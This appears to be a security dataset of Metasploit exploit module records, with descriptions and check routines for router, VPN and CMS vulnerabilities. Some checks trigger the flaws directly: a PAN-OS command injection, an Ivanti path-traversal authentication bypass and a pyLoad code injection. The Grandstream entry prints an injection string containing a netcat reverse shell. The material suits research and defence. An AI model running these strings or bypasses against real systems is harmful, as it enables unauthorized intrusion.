deardaniel/secdata-raw huggingface dataset:
Metasploit Module: D-Link authentication.cgi Buffer Overflow
Type: exploit
Path: modules/exploits/linux/http/dlink_authentication_cgi_bof.rb
Platform: linux
Disclosure date: 2013-02-08
References: CVE-2013-7389, OSVDB-95951, EDB-27283, URL-http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008, URL-http://web.archive.org/web/[PII_REDACTED]4138/http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000, URL-http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt

Description:
This module exploits a remote buffer overflow vulnerability on several D-Link routers.
          The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
          long password values. The vulnerability can be exploitable without authentication. This
          module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
          such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => "/authentication.cgi",
        'method' => 'GET'
      })

      if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/
        return Exploit::CheckCode::Detected('The target service was detected')
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: OpenMetadata authentication bypass and SpEL injection exploit chain
Type: exploit
Path: modules/exploits/linux/http/openmetadata_auth_bypass_rce.rb
Platform: unix
Disclosure date: 2024-03-15
References: CVE-2024-28255, CVE-2024-28254, URL-https://securitylab.github.com/advisories/GHSL-2023-235_GHSL-2023-237_Open_Metadata/, URL-https://attackerkb.com/topics/f19fXpZn62/cve-2024-28255, URL-https://ethicalhacking.uk/unmasking-cve-2024-28255-authentication-bypass-in-openmetadata/
Targets: Automatic

Description:
OpenMetadata is a unified platform for discovery, observability, and governance powered
          by a central metadata repository, in-depth lineage, and seamless team collaboration.
          This module chains two vulnerabilities that exist in the OpenMetadata aplication.
          The first vulnerability, CVE-2024-28255, bypasses the API authentication using JWT tokens.
          It misuses the `JwtFilter` that checks the path of the url endpoint against a list of excluded
          endpoints that does not require authentication. Unfortunately, an attacker may use Path Parameters
          to make any path contain any arbitrary strings that will match the excluded endpoint condition
          and therefore will be processed with no JWT validation allowing an attacker to bypass the
          authentication mechanism and reach any arbitrary endpoint.
          By chaining this vulnerability with CVE-2024-28254, that allows for arbitrary SpEL injection
          at endpoint `/api/v1/events/subscriptions/validation/condition/<expression>`, attackers
          are able to run arbitrary commands using Java classes such as `java.lang.Runtime` without any
          authentication.
          OpenMetadata versions `1.2.3` and below are vulnerable.

Check method (fingerprinting):
print_status('Trying to detect if target is running a vulnerable version of OpenMetadata.')
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    })
    return CheckCode::Unknown('Could not detect OpenMetadata.') unless res && res.code == 200 && res.body.include?('OpenMetadata')

    # try to dectect version
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'system', 'version'),
      'method' => 'GET'
    })
    return CheckCode::Detected('Could not retrieve the version information.') unless res && res.code == 200

    # parse json response and get the version
    res_json = res.get_json_document
    unless res_json.blank?
      version = res_json['version']
      version_number = Rex::Version.new(version.gsub(/[[:space:]]/, '')) unless version.nil?
    end
    return CheckCode::Detected('Could not retrieve the version information.') if version_number.nil?
    return CheckCode::Appears("Version #{version_number}") if version_number <= Rex::Version.new('1.2.3')

    CheckCode::Safe("Version #{version_number}")
  end
Metasploit Module: pyLoad js2py Python Execution
Type: exploit
Path: modules/exploits/linux/http/pyload_js2py_exec.rb
Platform: unix
Disclosure date: 2023-01-13
References: CVE-2023-0297, URL-https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/, URL-https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad, URL-https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d
Targets: Unix Command, Linux Dropper, Python

Description:
pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport
          functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request
          to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,
          the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load"
          service runs on port 9666 and can be used remotely without authentication.

Check method (fingerprinting):
sleep_time = rand(5..10)

    _, elapsed_time = Rex::Stopwatch.elapsed_time do
      execute_python("import time; time.sleep(#{sleep_time})")
    end

    vprint_status("Elapsed time: #{elapsed_time} seconds")

    unless elapsed_time > sleep_time
      return CheckCode::Safe('Failed to test command injection.')
    end

    CheckCode::Appears('Successfully tested command injection.')
  rescue Msf::Exploit::Failed
    return CheckCode::Safe('Failed to test command injection.')
  end
Metasploit Module: Palo Alto Networks PAN-OS Management Interface Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/panos_management_unauth_rce.rb
Disclosure date: 2024-11-18
References: CVE-2024-0012, CVE-2024-9474, URL-https://security.paloaltonetworks.com/CVE-2024-0012, URL-https://security.paloaltonetworks.com/CVE-2024-9474, URL-https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

Description:
This module exploits an authentication bypass vulnerability (CVE-2024-0012) and a command injection
          vulnerability (CVE-2024-9474) in the PAN-OS management web interface. An unauthenticated attacker can
          execute arbitrary code with root privileges.

          The following versions are affected:
          * PAN-OS 11.2 (up to and including 11.2.4-h1)
          * PAN-OS 11.1 (up to and including 11.1.5-h1)
          * PAN-OS 11.0 (up to and including 11.0.6-h1)
          * PAN-OS 10.2 (up to and including 10.2.12-h2)

Check method (fingerprinting):
check_file_name = Rex::Text.rand_text_alphanumeric(4)

    # NOTE: We set dontfail to true, as a check routine cannot fail_with().

    # return Safe if we fail to trigger the vulnerability and execute a command.
    return CheckCode::Safe('The target is not vulnerable') unless execute_cmd(
      "echo #{check_file_name} > /var/appweb/htdocs/unauth/#{check_file_name}",
      dontfail: true
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('unauth', check_file_name)
    )

    return CheckCode::Unknown('Connection failed') unless res

    if res.code == 200 && res.body.include?(check_file_name)

      # return Unknown if we fail to trigger the vulnerability a second time.
      return CheckCode::Unknown('Could not determine the target status') unless execute_cmd(
        "rm -f /var/appweb/htdocs/unauth/#{check_file_name}",
        dontfail: true
      )

      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    CheckCode::Safe('The target is not vulnerable')
  end

  # We can only execute a short command upon each invocation of the command injection vulnerability. To execute
  # a Metasploit payload, we first write the payload to a file, but we do the file write in small
  # chunks. Additionally, the command injection may trigger twice per invocation. To overcome this we store each
  # chunk in a unique, sequential file, so that if invoked twice, we still end up with the same file for that chunk.
  # We then am
Metasploit Module: Hak5 WiFi Pineapple Preconfiguration Command Injection
Type: exploit
Path: modules/exploits/linux/http/pineapple_bypass_cmdinject.rb
Platform: unix
Disclosure date: 2015-08-01
Authors: catatonicprime
References: CVE-2015-4624

Description:
This module exploits a login/csrf check bypass vulnerability on WiFi Pineapples version 2.0 <= pineapple < 2.4.
          These devices may typically be identified by their SSID beacons of 'Pineapple5_....';
          Provided as part of the TospoVirus workshop at DEFCON23.

Check method (fingerprinting):
res = cmd_inject("echo")
    if res && res.code == 200 && res.body =~ /Executing/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: VMware vCenter Server Analytics (CEIP) Service File Upload
Type: exploit
Path: modules/exploits/linux/http/vmware_vcenter_analytics_file_upload.rb
Platform: unix
Disclosure date: 2021-09-21
References: CVE-2021-22005, URL-https://www.vmware.com/security/advisories/VMSA-2021-0020.html, URL-https://attackerkb.com/topics/15E0q0tdEZ/cve-2021-22005/rapid7-analysis, URL-https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/, URL-https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee
Targets: Unix Command, Linux Dropper

Description:
This module exploits a file upload in VMware vCenter Server's
          analytics/telemetry (CEIP) service to write a system crontab and
          execute shell commands as the root user.

          Note that CEIP must be enabled for the target to be exploitable by
          this module. CEIP is enabled by default.

Check method (fingerprinting):
res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/level'),
      'vars_get' => {
        '_c' => ''
      }
    )

    return CheckCode::Unknown('Could not determine the target status') unless res

    unless res.code == 200 && res.body == '"FULL"'
      return CheckCode::Safe('CEIP is not fully enabled.')
    end

    CheckCode::Appears('CEIP is fully enabled.')
  end
Metasploit Module: Grandstream UCM62xx IP PBX sendPasswordEmail RCE
Type: exploit
Path: modules/exploits/linux/http/grandstream_ucm62xx_sendemail_rce.rb
Platform: unix
Disclosure date: 2020-03-23
References: CVE-2020-5722, EDB-48247
Targets: Unix Command, Linux Dropper

Description:
This module exploits an unauthenticated SQL injection vulnerability (CVE-2020-5722) and
          a command injection vulnerability (technically, no assigned CVE but was inadvertently
          patched at the same time as CVE-2019-10662) affecting the Grandstream UCM62xx IP PBX
          series of devices. The vulnerabilities allow an unauthenticated remote attacker to
          execute commands as root.

          Exploitation happens in two stages:

          1. An SQL injection during username lookup while executing the "Forgot Password" function.
          2. A command injection that occurs after the user provided username is passed to a Python script
          via the shell. Like so:

          /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
          password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `

          This module affect UCM62xx versions before firmware version 1.0.19.20.

Check method (fingerprinting):
normalized_uri = normalize_uri(target_uri.path, '/cgi')
    vprint_status("Requesting version information from #{normalized_uri}")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalized_uri,
      'vars_post' => { 'action' => 'getInfo' }
    })

    return CheckCode::Unknown('HTTP status code is not 200') unless res&.code == 200

    body_json = res.get_json_document
    return CheckCode::Unknown('No JSON in response') unless body_json

    prog_version = body_json.dig('response', 'prog_version')
    return false if prog_version.nil?

    vprint_status("The reported version is: #{prog_version}")

    version = Rex::Version.new(prog_version)
    if version < Rex::Version.new('1.0.19.20')
      return CheckCode::Appears("This determination is based on the version string: #{prog_version}.")
    end

    return CheckCode::Safe("This determination is based on the version string: #{prog_version}.")
  end

  ##
  # Throws a payload at the sendPasswordEmail action. The payload must first survive an SQL injection
  # and then it will get passed to a python script via sh which allows us to execute a command injection.
  # It will look something like this:
  #
  # /bin/sh -c python /app/asterisk/var/lib/asterisk/scripts/sendMail.py \
  #     password '' `cat <<'TTsf7G0' z' or 1=1--`;`nc 10.0.0.3 4444 -e /bin/sh`;` TTsf7G0 `
  #
  # This functionality is related to the"Forgot Password" feature. This function is rate limited by
  # the server so that an attacker
Metasploit Module: Xorcom CompletePBX Authenticated Command Injection via Task Scheduler
Type: exploit
Path: modules/exploits/linux/http/xorcom_completepbx_scheduler.rb
Platform: %w[unix linux
Disclosure date: 2025-03-02
References: CVE-2025-30004, URL-https://xorcom.com/new-completepbx-release-5-2-36-1/, URL-https://chocapikk.com/posts/2025/completepbx/
Targets: Unix/Linux Command Shell

Description:
This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX
          versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled
          input is improperly sanitized, allowing arbitrary command execution with web server privileges.

          Only the superadmin user (admin) has the necessary permissions to trigger this exploit.
          Even when creating a new user with maximum privileges, the vulnerability does not work.

Check method (fingerprinting):
completepbx?
  end
Metasploit Module: Netgear DGN1000 Setup.cgi Unauthenticated RCE
Type: exploit
Path: modules/exploits/linux/http/netgear_dgn1000_setup_unauth_exec.rb
Platform: linux
Disclosure date: 2013-06-05
References: CVE-2024-12847, EDB-25978

Description:
This module exploits an unauthenticated OS command execution vulneralbility
          in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and
          DGN2000v1 models.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'uri' => '/setup.cgi',
        'method' => 'GET'
      })
      if res && res.headers['WWW-Authenticate']
        auth = res.headers['WWW-Authenticate']
        if auth =~ /DGN1000/
          return Exploit::CheckCode::Detected('The target service was detected')
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end
    Exploit::CheckCode::Unknown('Could not determine the target status')
  end
Metasploit Module: Ivanti Connect Secure Unauthenticated Remote Code Execution
Type: exploit
Path: modules/exploits/linux/http/ivanti_connect_secure_rce_cve_2023_46805.rb
Platform: linux
Disclosure date: 2024-01-10
References: CVE-2023-46805, CVE-2024-21887, URL-https://attackerkb.com/topics/AdUh6by52K/cve-2023-46805/rapid7-analysis, URL-https://labs.watchtowr.com/welcome-to-2024-the-sslvpn-chaos-continues-ivanti-cve-2023-46805-cve-2024-21887/
Targets: Linux Command, Unix Command

Description:
This module chains an authentication bypass vulnerability (CVE-2023-46805) and a command injection
          vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
          Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
          22.x prior to the vendor mitigation are vulnerable. It is unknown if unsupported versions 8.x and below are
          also vulnerable.

Check method (fingerprinting):
# We leverage the auth bypass to request the authenticated endpoint /api/v1/system/system-information and retrieve
    # the target system version information. If this requests succeeds, the target is vulnerable.
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/api/v1/totp/user-backup-code/../../system/system-information'
    )

    return CheckCode::Unknown('Connection failed') unless res

    # If the vendor mitigation has been applied, the request will return 403 Forbidden.
    return CheckCode::Safe('The target is not vulnerable') if res.code != 200

    # By here we know the target is vulnerable, we can pull out the exact version information from the expected JSON
    # response, this is only for display purposes, we don't need to test the version information.

    json_data = res.get_json_document

    name = json_data.dig('software-inventory', 'software', 'name')

    version = json_data.dig('software-inventory', 'software', 'version')

    build = json_data.dig('software-inventory', 'software', 'build')

    # Return CheckCode::Unknown if we got a JSON response but it didn't contain the expected keys, or if
    # get_json_document could not parse the JSON (and will return an empty Hash).
    return CheckCode::Unknown('No version information in response') if name.nil? || version.nil? || build.nil?

    Exploit::CheckCode::Vulnerable("#{name} #{version} (#{build})")
  end
Metasploit Module: Synology DiskStation Manager smart.cgi Remote Command Execution
Type: exploit
Path: modules/exploits/linux/http/synology_dsm_smart_exec_auth.rb
Platform: python
Disclosure date: 2017-11-08
References: CVE-2017-15889, EDB-43190, URL-https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/, URL-https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM

Description:
This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
          versions < 5.2-5967-5, which allows the execution of arbitrary commands under root
          privileges after website authentication.
          The vulnerability is located in webman/modules/StorageManager/smart.cgi, which
          allows appending of a command to the device to be scanned.  However, the command
          with drive is limited to 30 characters.  A somewhat valid drive name is required,
          thus /dev/sd is used, even though it doesn't exist.  To circumvent the character
          restriction, a wget input file is staged in /a, and executed to download our payload
          to /b.  From there the payload is executed.  A wfsdelay is required to give time
          for the payload to download, and the execution of it to run.

Check method (fingerprinting):
vprint_status('Trying to detect installed version')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'),
      'vars_get' => { 'host' => '' }
    })

    if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN
      version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"
      build = $LAST_MATCH_INFO[:build]
      model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
      model = "DS#{model}" unless model =~ /^[A-Z]/
    else
      vprint_error('Detection failed')
      return CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Model #{model} with version #{version}-#{build} detected")

    case version
    when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'
      return CheckCode::Appears("Version #{version} appears to be vulnerable")
    when '5.2'
      return CheckCode::Appears("Version #{version} appears to be vulnerable") if build < '5967-5'
    end

    CheckCode::Safe("Version #{version} is not vulnerable")
  end
Metasploit Module: WePresent WiPG-1000 Command Injection
Type: exploit
Path: modules/exploits/linux/http/wipg1000_cmd_injection.rb
Platform: unix
Disclosure date: 2017-04-20
References: CVE-2025-34103, URL-https://www.redguard.ch/advisories/wepresent-wipg1000.txt

Description:
This module exploits a command injection vulnerability in an undocumented
          CGI file in several versions of the WePresent WiPG-1000 devices.
          Version 2.0.0.7 was confirmed vulnerable, 2.2.3.0 patched this vulnerability.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/cgi-bin/rdfs.cgi'
    })
    if res && res.body.include?("Follow administrator instructions to enter the complete path")
      Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Craft CMS unauthenticated Remote Code Execution (RCE)
Type: exploit
Path: modules/exploits/linux/http/craftcms_unauth_rce_cve_2023_41892.rb
Platform: php
Disclosure date: 2023-09-13
References: CVE-2023-41892, URL-https://blog.calif.io/p/craftcms-rce, URL-https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/, URL-https://attackerkb.com/topics/2u7OaYlv1M/cve-2023-41892
Targets: PHP, Unix Command, Linux Dropper

Description:
This module exploits Remote Code Execution vulnerability (CVE-2023-41892) in Craft CMS which is a popular
          content management system. Craft CMS versions between 4.0.0-RC1 - 4.4.14 are  affected by this vulnerability
          allowing attackers to execute arbitrary code remotely, potentially compromising the security and integrity
          of the application.

          The vulnerability occurs using a PHP object creation in the `\craft\controllers\ConditionsController` class
          which allows to run arbitrary PHP code by escalating the object creation calling some methods available in
          `\GuzzleHttp\Psr7\FnStream`. Using this vulnerability in combination with The Imagick Extension and MSL which
          stands for Magick Scripting Language, a full RCE can be achieved. MSL is a built-in ImageMagick language that
          facilitates the reading of images, performance of image processing tasks, and writing of results back
          to the filesystem. This can be leveraged to create a dummy image containing malicious PHP code using the
          Imagick constructor class delivering a webshell that can be accessed by the attacker, thereby executing the
          malicious PHP code and gaining access to the system.

          Because of this, any remote attacker, without authentication, can exploit this vulnerability to gain
          access to the underlying operating system as the user that the web services are running as (typically www-data).

Check method (fingerprinting):
check_phpinfo
    return CheckCode::Appears('The target appears to be vulnerable') unless @config['upload_tmp_dir'].nil? || @config['document_root'].nil?

    CheckCode::Safe('The target is not vulnerable')
  end